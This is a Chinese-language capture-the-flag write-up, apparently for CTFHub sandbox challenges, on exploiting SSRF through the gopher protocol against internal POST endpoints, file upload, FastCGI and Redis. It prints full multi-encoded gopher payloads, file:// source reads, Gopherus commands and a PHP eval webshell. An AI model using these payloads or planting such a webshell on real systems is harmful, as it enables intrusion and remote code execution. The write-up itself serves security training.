SSRF(2)

发布于:2024-06-20 ⋅ 阅读:(150) ⋅ 点赞:(0)

Gopher协议的利用

gopher协议是ssrf利用中最强大的协议

gopher协议支持发出GET、POST请求:

可以先截获get请求包和post请求包,再构成符合gopher协议的请求。

默认端口为70,一般需发送到80端口

如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。

gopher使用结构:

gopher://127.0.0.1:80/_{TCP/IP数据流}      //_不能省

 POST请求

打开看到题目描述,先用dirsearch扫一下

dirsearch -u http://challenge-c81b1dbf4106f429.sandbox.ctfhub.com:10800/?url=127.0.0.1

发现只有/flag.php可以访问

访问后发现有个输入框

查看源代码看见key

尝试使用file://协议读取文件

读取index.php文件源代码

?url=file:///var/www/html/index.php

读取flag.php文件源代码

?url=file:///var/www/html/flag.php

发现POST传参了key值

补充:

当前运行脚本所在服务器(非本地)IP地址

只要往flag.php传key值就可以得到flag,而index.php可以利用curl传url,就可以用gopher协议在index.php中构造post请求包往flag.php传key值,获得flag

POST包必须包含的四个参数:Content-Type,Content-Length,host,post

gopher的数据需要用url编码三次之后再发送,且第一次编码后%0A需全部替换成%0D%0A,利用ssrf时常需要进行多次url编码,执行curl功能(利用URL语法在命令行下工作的文件传输工具)后会被解码一次,利用?url=gopher://形式进行ssrf请求又会被解码一次,如果有302跳转 也会被解码一次。(可以说传参+跳转,请求多少次就要编码多少次)

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-from-urlencode
Conternt-Length: 36

key=e9653266a13e73c36f3292268cc56b22

对构造的请求包进行编码

补充:

Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

80是http默认端口

第一次编码后需要将%0A替换为%0D%0A

替换后是这样的

POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%20%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Akey%3De9653266a13e73c36f3292268cc56b22

第二次编码

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%2520%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253De9653266a13e73c36f3292268cc56b22

第三次编码

POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%25252036%252520%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250A%25250D%25250Akey%25253De9653266a13e73c36f3292268cc56b22

由于flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,于是在index.php中发送 POST请求

构造payload

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%252520%25250D%25250Akey%25253D5194585c8475fb6e7b30ff77454c4aa4

在bp重放器中得到flag 

上传文件

看到题目要求上传文件

发现并没有提交按钮

用伪协议查看flag.php,意思是上传文件不能为空

到这里看了一下别人的wp,发现需要自己加上提交按钮

出现提交按钮

使用bp抓包,这个就是需要构造的POST包

像上一题一样进行三次编码,其中第一次结束后要将%0A全部替换为%0D%0A

构造payload在重放器中发送请求

?url=127.0.0.1/index.php/?url=gopher://127.0.0.1:80/_POST包

得到flag

FastCGI协议

题目要求攻击fastcgi协议,这里不是特别了解,参考附件内容

补充:http://t.csdnimg.cn/73bad

fastcgi协议
fastcgi record

Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

record的头固定8个字节,body是由头中的contentLength指定https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-record

fastcgi type

type用来指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的。https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-type

php-fpm

FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi

通过上面的了解知道需要运用到Gopherus工具,这里首先下载并配置好工具,可以参考这个文章http://t.csdnimg.cn/o6kVb

第一行输入路径,第二行执行命令,查看根目录

将gopher协议要发送的内容进行移除url编码

找到flag的文件,接下来进行查看

得到的gopher协议也需要进行一次编码

然后可以传参

得到flag

Redis协议

补充:http://t.csdnimg.cn/FdhWF

什么是redis协议

Redis协议,也被称为 RESP ,它是一种简单的文本协议,用于在客户端和服务器之间操作和传输数据。是最简单的一种传输协议。描述了不同类型的数据结构,定义了请求和响应间数据结构的交互。

法一:

用Gopherus工具构造payload

./gopherus.py --exploit redis

ReverseShell是反弹shell,PHPshell就是webshell,第二行默认路径/var/www/html

最后输入shell语句

<?php eval($_post["cmd"]);?>

然后就可以得到如图

其中的%0A已经是%0D%0A了,不用转换,然后进行二次编码

将构造好的payload上传,很久以后返回504(超时)

访问shell.php(工具生成shell的文件名)

蚁剑测试连接成功

得到flag

法二:

与法一第一步相同,都是用Gopherus工具构造payload,其中默认命令参数是cmd

与法一第二步相同,不用更改,直接进行编码

接着上传,同样是504,然后发现可以访问shell.php

用命令查看根目录,发现flag的存在

最后用cat查看内容,得到flag